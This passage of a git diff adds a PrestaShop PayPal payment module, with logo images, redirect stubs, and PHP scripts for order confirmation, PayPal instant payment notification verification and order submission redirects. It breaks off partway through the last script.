+$_MODULE['<{paypal}prestashop>integral_evolution_payment_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Retour au site du marchant.'; diff --git a/modules/paypal2/img/bg-button.png b/modules/paypal2/img/bg-button.png new file mode 100755 index 0000000..e7b1a9a Binary files /dev/null and b/modules/paypal2/img/bg-button.png differ diff --git a/modules/paypal2/img/bg-call-button.png b/modules/paypal2/img/bg-call-button.png new file mode 100755 index 0000000..e0455ae Binary files /dev/null and b/modules/paypal2/img/bg-call-button.png differ diff --git a/modules/paypal2/img/blue_tick.png b/modules/paypal2/img/blue_tick.png new file mode 100755 index 0000000..9b27b49 Binary files /dev/null and b/modules/paypal2/img/blue_tick.png differ diff --git a/modules/paypal2/img/bo-cards/AU_bo_cards.png b/modules/paypal2/img/bo-cards/AU_bo_cards.png new file mode 100755 index 0000000..665df4c Binary files /dev/null and b/modules/paypal2/img/bo-cards/AU_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/CN_bo_cards.png b/modules/paypal2/img/bo-cards/CN_bo_cards.png new file mode 100755 index 0000000..be7071f Binary files /dev/null and b/modules/paypal2/img/bo-cards/CN_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/DE_bo_cards.png b/modules/paypal2/img/bo-cards/DE_bo_cards.png new file mode 100755 index 0000000..18d0bbd Binary files /dev/null and b/modules/paypal2/img/bo-cards/DE_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/ES_bo_cards.png b/modules/paypal2/img/bo-cards/ES_bo_cards.png new file mode 100755 index 0000000..e1fe0c5 Binary files /dev/null and b/modules/paypal2/img/bo-cards/ES_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/FR_bo_cards.png b/modules/paypal2/img/bo-cards/FR_bo_cards.png new file mode 100755 index 0000000..088bdcb Binary files /dev/null and b/modules/paypal2/img/bo-cards/FR_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/GB_bo_cards.png b/modules/paypal2/img/bo-cards/GB_bo_cards.png new file mode 100755 index 0000000..52fb111 Binary files /dev/null and b/modules/paypal2/img/bo-cards/GB_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/HK_bo_cards.png b/modules/paypal2/img/bo-cards/HK_bo_cards.png new file mode 100755 index 0000000..2b72a3b Binary files /dev/null and b/modules/paypal2/img/bo-cards/HK_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/IT_bo_cards.png b/modules/paypal2/img/bo-cards/IT_bo_cards.png new file mode 100755 index 0000000..07d6252 Binary files /dev/null and b/modules/paypal2/img/bo-cards/IT_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/MY_bo_cards.png b/modules/paypal2/img/bo-cards/MY_bo_cards.png new file mode 100755 index 0000000..63a9693 Binary files /dev/null and b/modules/paypal2/img/bo-cards/MY_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/NZ_bo_cards.png b/modules/paypal2/img/bo-cards/NZ_bo_cards.png new file mode 100755 index 0000000..0a820b0 Binary files /dev/null and b/modules/paypal2/img/bo-cards/NZ_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/PL_bo_cards.png b/modules/paypal2/img/bo-cards/PL_bo_cards.png new file mode 100755 index 0000000..c3d47f8 Binary files /dev/null and b/modules/paypal2/img/bo-cards/PL_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/PayPal_bo_cards.png b/modules/paypal2/img/bo-cards/PayPal_bo_cards.png new file mode 100755 index 0000000..b4e6392 Binary files /dev/null and b/modules/paypal2/img/bo-cards/PayPal_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/RA_bo_cards.png b/modules/paypal2/img/bo-cards/RA_bo_cards.png new file mode 100755 index 0000000..0eea77f Binary files /dev/null and b/modules/paypal2/img/bo-cards/RA_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/RE_bo_cards.png b/modules/paypal2/img/bo-cards/RE_bo_cards.png new file mode 100755 index 0000000..0eea77f Binary files /dev/null and b/modules/paypal2/img/bo-cards/RE_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/SG_bo_cards.png b/modules/paypal2/img/bo-cards/SG_bo_cards.png new file mode 100755 index 0000000..4713d91 Binary files /dev/null and b/modules/paypal2/img/bo-cards/SG_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/TH_bo_cards.png b/modules/paypal2/img/bo-cards/TH_bo_cards.png new file mode 100755 index 0000000..483d63f Binary files /dev/null and b/modules/paypal2/img/bo-cards/TH_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/TR_bo_cards.png b/modules/paypal2/img/bo-cards/TR_bo_cards.png new file mode 100755 index 0000000..483d63f Binary files /dev/null and b/modules/paypal2/img/bo-cards/TR_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/TW_bo_cards.png b/modules/paypal2/img/bo-cards/TW_bo_cards.png new file mode 100755 index 0000000..483d63f Binary files /dev/null and b/modules/paypal2/img/bo-cards/TW_bo_cards.png differ diff --git a/modules/paypal2/img/bo-cards/default.png b/modules/paypal2/img/bo-cards/default.png new file mode 100755 index 0000000..405131a Binary files /dev/null and b/modules/paypal2/img/bo-cards/default.png differ diff --git a/modules/paypal2/img/bo-cards/index.php b/modules/paypal2/img/bo-cards/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/img/bo-cards/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/img/call.png b/modules/paypal2/img/call.png new file mode 100755 index 0000000..2f7e284 Binary files /dev/null and b/modules/paypal2/img/call.png differ diff --git a/modules/paypal2/img/default_logos/AU_vertical_solution_PP.png b/modules/paypal2/img/default_logos/AU_vertical_solution_PP.png new file mode 100755 index 0000000..6e932ef Binary files /dev/null and b/modules/paypal2/img/default_logos/AU_vertical_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/BE_horizontal_solution_PP.png b/modules/paypal2/img/default_logos/BE_horizontal_solution_PP.png new file mode 100755 index 0000000..c5bbfaf Binary files /dev/null and b/modules/paypal2/img/default_logos/BE_horizontal_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/BE_vertical_solution_PP.png b/modules/paypal2/img/default_logos/BE_vertical_solution_PP.png new file mode 100755 index 0000000..cb799f5 Binary files /dev/null and b/modules/paypal2/img/default_logos/BE_vertical_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/DE_horizontal_solution_PP.gif b/modules/paypal2/img/default_logos/DE_horizontal_solution_PP.gif new file mode 100755 index 0000000..b432414 Binary files /dev/null and b/modules/paypal2/img/default_logos/DE_horizontal_solution_PP.gif differ diff --git a/modules/paypal2/img/default_logos/DE_vertical_solution_PP.gif b/modules/paypal2/img/default_logos/DE_vertical_solution_PP.gif new file mode 100755 index 0000000..b432414 Binary files /dev/null and b/modules/paypal2/img/default_logos/DE_vertical_solution_PP.gif differ diff --git a/modules/paypal2/img/default_logos/FR_vertical_solution_PP.png b/modules/paypal2/img/default_logos/FR_vertical_solution_PP.png new file mode 100755 index 0000000..826baa2 Binary files /dev/null and b/modules/paypal2/img/default_logos/FR_vertical_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/PL_horizontal_solution_PP.png b/modules/paypal2/img/default_logos/PL_horizontal_solution_PP.png new file mode 100755 index 0000000..9ab199c Binary files /dev/null and b/modules/paypal2/img/default_logos/PL_horizontal_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/PL_vertical_solution_PP.png b/modules/paypal2/img/default_logos/PL_vertical_solution_PP.png new file mode 100755 index 0000000..dbdaf65 Binary files /dev/null and b/modules/paypal2/img/default_logos/PL_vertical_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/RA_horizontal_solution_PP.png b/modules/paypal2/img/default_logos/RA_horizontal_solution_PP.png new file mode 100755 index 0000000..9ab199c Binary files /dev/null and b/modules/paypal2/img/default_logos/RA_horizontal_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/RA_vertical_solution_PP.png b/modules/paypal2/img/default_logos/RA_vertical_solution_PP.png new file mode 100755 index 0000000..dbdaf65 Binary files /dev/null and b/modules/paypal2/img/default_logos/RA_vertical_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/RE_horizontal_solution_PP.png b/modules/paypal2/img/default_logos/RE_horizontal_solution_PP.png new file mode 100755 index 0000000..9ab199c Binary files /dev/null and b/modules/paypal2/img/default_logos/RE_horizontal_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/RE_vertical_solution_PP.png b/modules/paypal2/img/default_logos/RE_vertical_solution_PP.png new file mode 100755 index 0000000..dbdaf65 Binary files /dev/null and b/modules/paypal2/img/default_logos/RE_vertical_solution_PP.png differ diff --git a/modules/paypal2/img/default_logos/default_horizontal.png b/modules/paypal2/img/default_logos/default_horizontal.png new file mode 100755 index 0000000..8c57be0 Binary files /dev/null and b/modules/paypal2/img/default_logos/default_horizontal.png differ diff --git a/modules/paypal2/img/default_logos/default_logo.gif b/modules/paypal2/img/default_logos/default_logo.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal2/img/default_logos/default_logo.gif differ diff --git a/modules/paypal2/img/default_logos/default_vertical.png b/modules/paypal2/img/default_logos/default_vertical.png new file mode 100755 index 0000000..ee99c03 Binary files /dev/null and b/modules/paypal2/img/default_logos/default_vertical.png differ diff --git a/modules/paypal2/img/default_logos/index.php b/modules/paypal2/img/default_logos/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/img/default_logos/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/img/index.php b/modules/paypal2/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/img/logos/FR_PayPal_logo_100x45.gif b/modules/paypal2/img/logos/FR_PayPal_logo_100x45.gif new file mode 100755 index 0000000..5f9ff8b Binary files /dev/null and b/modules/paypal2/img/logos/FR_PayPal_logo_100x45.gif differ diff --git a/modules/paypal2/img/logos/FR_PayPal_logo_150x65.gif b/modules/paypal2/img/logos/FR_PayPal_logo_150x65.gif new file mode 100755 index 0000000..1e2a954 Binary files /dev/null and b/modules/paypal2/img/logos/FR_PayPal_logo_150x65.gif differ diff --git a/modules/paypal2/img/logos/FR_PayPal_logo_80x35.gif b/modules/paypal2/img/logos/FR_PayPal_logo_80x35.gif new file mode 100755 index 0000000..a94b479 Binary files /dev/null and b/modules/paypal2/img/logos/FR_PayPal_logo_80x35.gif differ diff --git a/modules/paypal2/img/logos/FR_PayPal_mark_37x23.gif b/modules/paypal2/img/logos/FR_PayPal_mark_37x23.gif new file mode 100755 index 0000000..25333b1 Binary files /dev/null and b/modules/paypal2/img/logos/FR_PayPal_mark_37x23.gif differ diff --git a/modules/paypal2/img/logos/FR_PayPal_mark_50x34.gif b/modules/paypal2/img/logos/FR_PayPal_mark_50x34.gif new file mode 100755 index 0000000..9640eb0 Binary files /dev/null and b/modules/paypal2/img/logos/FR_PayPal_mark_50x34.gif differ diff --git a/modules/paypal2/img/logos/FR_PayPal_mark_60x38.gif b/modules/paypal2/img/logos/FR_PayPal_mark_60x38.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal2/img/logos/FR_PayPal_mark_60x38.gif differ diff --git a/modules/paypal2/img/logos/FR_bnr_horizontal_solution_PP_327wx80h.gif b/modules/paypal2/img/logos/FR_bnr_horizontal_solution_PP_327wx80h.gif new file mode 100755 index 0000000..38606de Binary files /dev/null and b/modules/paypal2/img/logos/FR_bnr_horizontal_solution_PP_327wx80h.gif differ diff --git a/modules/paypal2/img/logos/GB_PayPal_logo_100x45.gif b/modules/paypal2/img/logos/GB_PayPal_logo_100x45.gif new file mode 100755 index 0000000..5f9ff8b Binary files /dev/null and b/modules/paypal2/img/logos/GB_PayPal_logo_100x45.gif differ diff --git a/modules/paypal2/img/logos/GB_PayPal_logo_150x65.gif b/modules/paypal2/img/logos/GB_PayPal_logo_150x65.gif new file mode 100755 index 0000000..1e2a954 Binary files /dev/null and b/modules/paypal2/img/logos/GB_PayPal_logo_150x65.gif differ diff --git a/modules/paypal2/img/logos/GB_PayPal_logo_80x35.gif b/modules/paypal2/img/logos/GB_PayPal_logo_80x35.gif new file mode 100755 index 0000000..a94b479 Binary files /dev/null and b/modules/paypal2/img/logos/GB_PayPal_logo_80x35.gif differ diff --git a/modules/paypal2/img/logos/GB_PayPal_mark_37x23.gif b/modules/paypal2/img/logos/GB_PayPal_mark_37x23.gif new file mode 100755 index 0000000..25333b1 Binary files /dev/null and b/modules/paypal2/img/logos/GB_PayPal_mark_37x23.gif differ diff --git a/modules/paypal2/img/logos/GB_PayPal_mark_50x34.gif b/modules/paypal2/img/logos/GB_PayPal_mark_50x34.gif new file mode 100755 index 0000000..9640eb0 Binary files /dev/null and b/modules/paypal2/img/logos/GB_PayPal_mark_50x34.gif differ diff --git a/modules/paypal2/img/logos/GB_PayPal_mark_60x38.gif b/modules/paypal2/img/logos/GB_PayPal_mark_60x38.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal2/img/logos/GB_PayPal_mark_60x38.gif differ diff --git a/modules/paypal2/img/logos/GB_horizontal_solution_PP.gif b/modules/paypal2/img/logos/GB_horizontal_solution_PP.gif new file mode 100755 index 0000000..5ad665e Binary files /dev/null and b/modules/paypal2/img/logos/GB_horizontal_solution_PP.gif differ diff --git a/modules/paypal2/img/logos/GB_vertical_solution_PP.gif b/modules/paypal2/img/logos/GB_vertical_solution_PP.gif new file mode 100755 index 0000000..a92aefc Binary files /dev/null and b/modules/paypal2/img/logos/GB_vertical_solution_PP.gif differ diff --git a/modules/paypal2/img/logos/default_PayPal_logo_100x45.gif b/modules/paypal2/img/logos/default_PayPal_logo_100x45.gif new file mode 100755 index 0000000..5f9ff8b Binary files /dev/null and b/modules/paypal2/img/logos/default_PayPal_logo_100x45.gif differ diff --git a/modules/paypal2/img/logos/default_PayPal_logo_150x65.gif b/modules/paypal2/img/logos/default_PayPal_logo_150x65.gif new file mode 100755 index 0000000..1e2a954 Binary files /dev/null and b/modules/paypal2/img/logos/default_PayPal_logo_150x65.gif differ diff --git a/modules/paypal2/img/logos/default_PayPal_logo_80x35.gif b/modules/paypal2/img/logos/default_PayPal_logo_80x35.gif new file mode 100755 index 0000000..a94b479 Binary files /dev/null and b/modules/paypal2/img/logos/default_PayPal_logo_80x35.gif differ diff --git a/modules/paypal2/img/logos/default_PayPal_mark_37x23.gif b/modules/paypal2/img/logos/default_PayPal_mark_37x23.gif new file mode 100755 index 0000000..25333b1 Binary files /dev/null and b/modules/paypal2/img/logos/default_PayPal_mark_37x23.gif differ diff --git a/modules/paypal2/img/logos/default_PayPal_mark_50x34.gif b/modules/paypal2/img/logos/default_PayPal_mark_50x34.gif new file mode 100755 index 0000000..9640eb0 Binary files /dev/null and b/modules/paypal2/img/logos/default_PayPal_mark_50x34.gif differ diff --git a/modules/paypal2/img/logos/default_PayPal_mark_60x38.gif b/modules/paypal2/img/logos/default_PayPal_mark_60x38.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal2/img/logos/default_PayPal_mark_60x38.gif differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_de_DE_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_de_DE_orange_295x43.png new file mode 100755 index 0000000..103b825 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_de_DE_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_en_EN_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_en_EN_orange_295x43.png new file mode 100755 index 0000000..57d24de Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_en_EN_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_en_US_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_en_US_orange_295x43.png new file mode 100755 index 0000000..57d24de Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_en_US_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_es_ES_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_es_ES_orange_295x43.png new file mode 100755 index 0000000..f64cf4b Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_es_ES_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_fr_FR_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_fr_FR_orange_295x43.png new file mode 100755 index 0000000..1943546 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_fr_FR_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_it_IT_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_it_IT_orange_295x43.png new file mode 100755 index 0000000..d8b73d0 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_it_IT_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_ja_JP_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_ja_JP_orange_295x43.png new file mode 100755 index 0000000..dc56332 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_ja_JP_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_nl_NL_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_nl_NL_orange_295x43.png new file mode 100755 index 0000000..4220f84 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_nl_NL_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_pl_PL_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_pl_PL_orange_295x43.png new file mode 100755 index 0000000..41f6ef5 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_pl_PL_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_pt_BR_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_pt_BR_orange_295x43.png new file mode 100755 index 0000000..d59b9c2 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_pt_BR_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_CN_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_CN_orange_295x43.png new file mode 100755 index 0000000..a57d817 Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_CN_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_HK_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_HK_orange_295x43.png new file mode 100755 index 0000000..d10ff5e Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_HK_orange_295x43.png differ diff --git a/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_TW_orange_295x43.png b/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_TW_orange_295x43.png new file mode 100755 index 0000000..d10ff5e Binary files /dev/null and b/modules/paypal2/img/logos/express_checkout_mobile/CO_zh_TW_orange_295x43.png differ diff --git a/modules/paypal2/img/mail.png b/modules/paypal2/img/mail.png new file mode 100755 index 0000000..a619741 Binary files /dev/null and b/modules/paypal2/img/mail.png differ diff --git a/modules/paypal2/img/sprites.png b/modules/paypal2/img/sprites.png new file mode 100755 index 0000000..de5a414 Binary files /dev/null and b/modules/paypal2/img/sprites.png differ diff --git a/modules/paypal2/index.php b/modules/paypal2/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/integral_evolution/confirm.php b/modules/paypal2/integral_evolution/confirm.php new file mode 100755 index 0000000..9494f7f --- /dev/null +++ b/modules/paypal2/integral_evolution/confirm.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +if ($id_cart = Tools::getValue('id_cart')) +{ + $id_order = Db::getInstance()->getValue(' + SELECT id_order + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)Order::getOrderByCartId((int)$id_cart)); + + if ($id_order !== false) + echo (int)$id_order; +} + +die(); diff --git a/modules/paypal2/integral_evolution/index.php b/modules/paypal2/integral_evolution/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal2/integral_evolution/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal2/integral_evolution/notifier.php b/modules/paypal2/integral_evolution/notifier.php new file mode 100755 index 0000000..bd1effb --- /dev/null +++ b/modules/paypal2/integral_evolution/notifier.php @@ -0,0 +1,171 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +include_once(_PS_MODULE_DIR_.'paypal/paypal.php'); + +/* + * Instant payment notification class. + * (wait for PayPal payment confirmation, then validate order) + */ +class PayPalNotifier extends PayPal +{ + + public function __construct() + { + parent::__construct(); + } + + public function confirmOrder($custom) + { + $cart = new Cart((int)$custom['id_cart']); + $cart_details = $cart->getSummaryDetails(null, true); + $cart_hash = sha1(serialize($cart->nbProducts())); + + $this->context->cart = $cart; + $address = new Address((int)$cart->id_address_invoice); + $this->context->country = new Country((int)$address->id_country); + $this->context->customer = new Customer((int)$cart->id_customer); + $this->context->language = new Language((int)$cart->id_lang); + $this->context->currency = new Currency((int)$cart->id_currency); + + if (isset($cart->id_shop)) + $this->context->shop = new Shop($cart->id_shop); + + $res = $this->getResult(); + + if (strcmp($res, "VERIFIED") == 0) + { + $currency_decimals = is_array($this->context->currency) ? (int)$this->context->currency['decimals'] : (int)$this->context->currency->decimals; + $this->decimals = $currency_decimals * _PS_PRICE_DISPLAY_PRECISION_; + + $message = null; + $mc_gross = Tools::ps_round(Tools::getValue('mc_gross'), $this->decimals); + + $cart_details = $cart->getSummaryDetails(null, true); + + $shipping = $cart_details['total_shipping_tax_exc']; + $subtotal = $cart_details['total_price_without_tax'] - $cart_details['total_shipping_tax_exc']; + $tax = $cart_details['total_tax']; + + $total_price = Tools::ps_round($shipping + $subtotal + $tax, $this->decimals); + + if (bccomp($mc_gross, $total_price, 2) !== 0) + { + $payment = (int)Configuration::get('PS_OS_ERROR'); + $message = $this->l('Price paid on paypal is not the same that on PrestaShop.').'
        '; + } + elseif ($custom['hash'] != $cart_hash) + { + $payment = (int)Configuration::get('PS_OS_ERROR'); + $message = $this->l('Cart changed, please retry.').'
        '; + } + else + { + $payment = (int)Configuration::get('PS_OS_PAYMENT'); + $message = $this->l('Payment accepted.').'
        '; + } + + $customer = new Customer((int)$cart->id_customer); + $transaction = PayPalOrder::getTransactionDetails(false); + + if (_PS_VERSION_ < '1.5') + $shop = null; + else + { + $shop_id = $this->context->shop->id; + $shop = new Shop($shop_id); + } + + $this->validateOrder($cart->id, $payment, $total_price, $this->displayName, $message, $transaction, $cart->id_currency, false, $customer->secure_key, $shop); + } + } + + public function getRequest() + { + $raw_post_data = file_get_contents('php://input'); + $raw_post_array = explode('&', $raw_post_data); + $myPost = array(); + + foreach ($raw_post_array as $keyval) + { + $keyval = explode ('=', $keyval); + if (count($keyval) == 2) + $myPost[$keyval[0]] = urldecode($keyval[1]); + } + + $req = 'cmd=_notify-validate'; + + if(function_exists('get_magic_quotes_gpc')) + $get_magic_quotes_exists = true; + + foreach ($myPost as $key => $value) + { + if($get_magic_quotes_exists == true && get_magic_quotes_gpc() == 1) + $value = urlencode(stripslashes($value)); + else + $value = urlencode($value); + $req .= "&$key=$value"; + } + + return $req; + } + + public function getResult() + { + $url = $this->getPaypalStandardUrl(); + $request = $this->getRequest(); + + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $request); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); + curl_setopt($ch, CURLOPT_FORBID_REUSE, 1); + curl_setopt($ch, CURLOPT_HTTPHEADER, array('Connection: Close')); + + if( !($res = curl_exec($ch))) + { + curl_close($ch); + exit; + } + curl_close($ch); + + return $res; + } + +} + +if ($custom = Tools::getValue('custom')) +{ + $notifier = new PayPalNotifier(); + $result = Tools::jsonDecode($custom, true); + $notifier->confirmOrder($result); +} diff --git a/modules/paypal2/integral_evolution/submit.php b/modules/paypal2/integral_evolution/submit.php new file mode 100755 index 0000000..7e07f08 --- /dev/null +++ b/modules/paypal2/integral_evolution/submit.php @@ -0,0 +1,104 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +if (_PS_VERSION_ < '1.5') + require_once(_PS_ROOT_DIR_.'/controllers/OrderConfirmationController.php'); + +class PayPalIntegralEvolutionSubmit extends OrderConfirmationControllerCore +{ + public $context; + + public function __construct() + { + /** Backward compatibility */ + include_once(_PS_MODULE_DIR_.'/paypal/backward_compatibility/backward.php'); + $this->context = Context::getContext(); + parent::__construct(); + } + + /* + * Display PayPal order confirmation page + */ + public function displayContent() + { + $id_order = (int)Tools::getValue('id_order'); + $order = PayPalOrder::getOrderById($id_order); + $price = Tools::displayPrice($order['total_paid'], $this->context->currency); + + $this->context->smarty->assign(array( + 'order' => $order, + 'price' => $price + )); + + echo $this->context->smarty->fetch(_PS_MODULE_DIR_.'/paypal/views/templates/front/order-confirmation.tpl'); + } +} + +$id_cart = Tools::getValue('id_cart'); +$id_module = Tools::getValue('id_module'); +$id_order = Tools::getValue('id_order'); +$key = Tools::getValue('key'); + +if ($id_module && $id_order && $id_cart && $key) +{ + if (_PS_VERSION_ < '1.5') + { + $integral_evolution_submit = new PayPalIntegralEvolutionSubmit(); + $integral_evolution_submit->run(); + } +} +elseif ($id_cart) +{ + // Redirection + $values = array( + 'id_cart' => (int)$id_cart, + 'id_module' => (int)Module::getInstanceByName('paypal')->id, + 'id_order' => (int)Order::getOrderByCartId((int)$id_cart), + ); + + if (_PS_VERSION_ < '1.5') + { + global $cookie; + + $customer = new Customer($cookie->id_customer); + $values['key'] = $customer->secure_key; + $url = _MODULE_DIR_.'/paypal/integral_evolution/submit.php'; + Tools::redirectLink($url.'?'.http_build_query($values, '', '&')); + } + else + { + $values['key'] = Context::getContext()->customer->secure_key; + $link = Context::getContext()->link->getModuleLink('paypal', 'submit', $values); + Tools::redirect($link); + } +} +else + 